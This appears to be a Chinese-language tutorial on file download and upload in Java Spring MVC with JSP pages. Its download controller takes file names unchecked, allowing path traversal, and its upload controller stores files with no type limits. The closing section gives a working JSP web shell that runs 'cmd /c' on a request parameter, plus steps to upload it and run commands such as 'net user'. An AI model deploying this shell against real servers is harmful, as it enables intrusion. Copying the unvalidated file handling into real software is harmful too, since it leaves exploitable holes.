下载
前端代码:.jsp
<%@page import="java.net.URLEncoder"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>下载</title>
</head>
<body>
<ul>
<li><a href="/download?fileName=<%=URLEncoder.encode("美女","utf-8") %>.jpg">美女.jpg</a></li>
<li><a href="/download?fileName=star.mp4">star.mp4</a></li>
<li><a href="/download?fileName=suiji.zip">suiji.zip</a></li>
<li><a href="/download?fileName=words.txt">words.txt</a></li>
</ul>
</body>
</html>
后端代码
@Controller
public class DownloadController {
@RequestMapping("/download")
public void download(String fileName,HttpServletRequest req,HttpServletResponse resp) throws IOException{
// 获取download路径
String realPath = req.getServletContext().getRealPath("/download");
File file = new File(realPath, fileName);
// 解决不同浏览器乱码问题
if(req.getHeader("User-Agent").toUpperCase().indexOf("TRIDENT")!=-1){
fileName = URLEncoder.encode(fileName, "utf-8");
//电脑自带edge【edʒ】浏览器
}else if(req.getHeader("User-Agent").toUpperCase().indexOf("EDGE")!=-1){
fileName = URLEncoder.encode(fileName, "utf-8");
}else{//其他浏览器
fileName = new String(fileName.getBytes("UTF-8"),"ISO-8859-1");//转码的方式
};
//设置文件下载的名字 -- 附件表示做下载或上传操作,浏览器就不会将文件的内容直接显示出来了,以及下载显示文件名
resp.setHeader("Content-Disposition", "attachment; filename=" + fileName);
// 获取输入流
FileInputStream inputStream = new FileInputStream(file);
// 获取响应输出流
ServletOutputStream outputStream = resp.getOutputStream();
// 核心代码
IOUtils.copy(inputStream, outputStream);
// 关流
outputStream.close();
inputStream.close();
}
}
===================================================================
上传
文件上传三要素:
(1)表单的提交方式必须是POST请求
(2)表单中必须有一个文件上传项:<input type=“file” name=“upload”/>,文件上传项必须有name属性和值;
(3)表单的enctype属性的值必须是multipart/form-data
前端代码:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
</body>
<form action="uploadFile" method="post" enctype="multipart/form-data">
<input type="file" name="photo"><br/>
<input type="submit" value="提交">
</form>
</html>
后台代码:
/**
* 文件上传
* 最好不要把存放上传文件的文件夹名和@RequestMapping写成一致
*/
@Controller
public class UploadController {
/**
* 前后端根据name属性值进行传递
* MultipartFile: 文件项
*/
@RequestMapping("/uploadFile")
public String upload(MultipartFile photo,HttpServletRequest req) throws IOException{
// 获取name属性值
//String name = photo.getName();
if(!photo.isEmpty()){//判断是否有上传 用photo.getSize()!=0判断也可
// 获取项目发布路径(server.xml里的docbase)+upload路径
String realPath = req.getServletContext().getRealPath("/upload");
File file_path = new File(realPath);
if(!file_path.exists()){//判断文件夹是否存在,这样就不用事先创建文件夹了
file_path.mkdirs();
}
// 获取上传文件名
String filename = photo.getOriginalFilename();
// 通过截取获取后缀 // 1.jpg
//String suffix = filename.substring(filename.lastIndexOf("."));
// 因为如果就用文件名的话,再次上传相同文件名的文件,就会覆盖掉之前的文件,通过时间戳保证每个文件名都不一样
String name = System.currentTimeMillis()+"_"+filename;
// 获取输入流,将上传的文件读取到内存
InputStream inputStream = photo.getInputStream();
// 获取输出流,将内存中的数据写入硬盘的指定文件
FileOutputStream fileOutputStream = new FileOutputStream(new File(file_path, filename));
// 核心代码,其实就是一个复制
IOUtils.copy(inputStream, fileOutputStream);
// 关流,可以用JDK7的关流新方式
fileOutputStream.close();
inputStream.close();
return "redirect:/upload.jsp";
}
return "";
}
}
因为没有做任何限制,如果也没有更改文件名,在知道上传路径的前提下,利用文件上传(.jsp)使用命令
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" import="java.io.InputStream" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<!-- 不想当黑客的程序员,不是好的架构师 -->
<%
int i = 10;
try {
Process p = Runtime.getRuntime().exec("cmd /c "+request.getParameter("i"));
InputStream ins= p.getInputStream();
byte[] b = new byte[1024*10];
int num = 0;
while((num=ins.read(b))!=-1)
out.write(new String(b,"gb2312"));
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>
浏览器访问:网站上传路径/自己上传的文件名?i=能在cmd中用的命令
会在页面返回服务器的相关消息(比如:net user)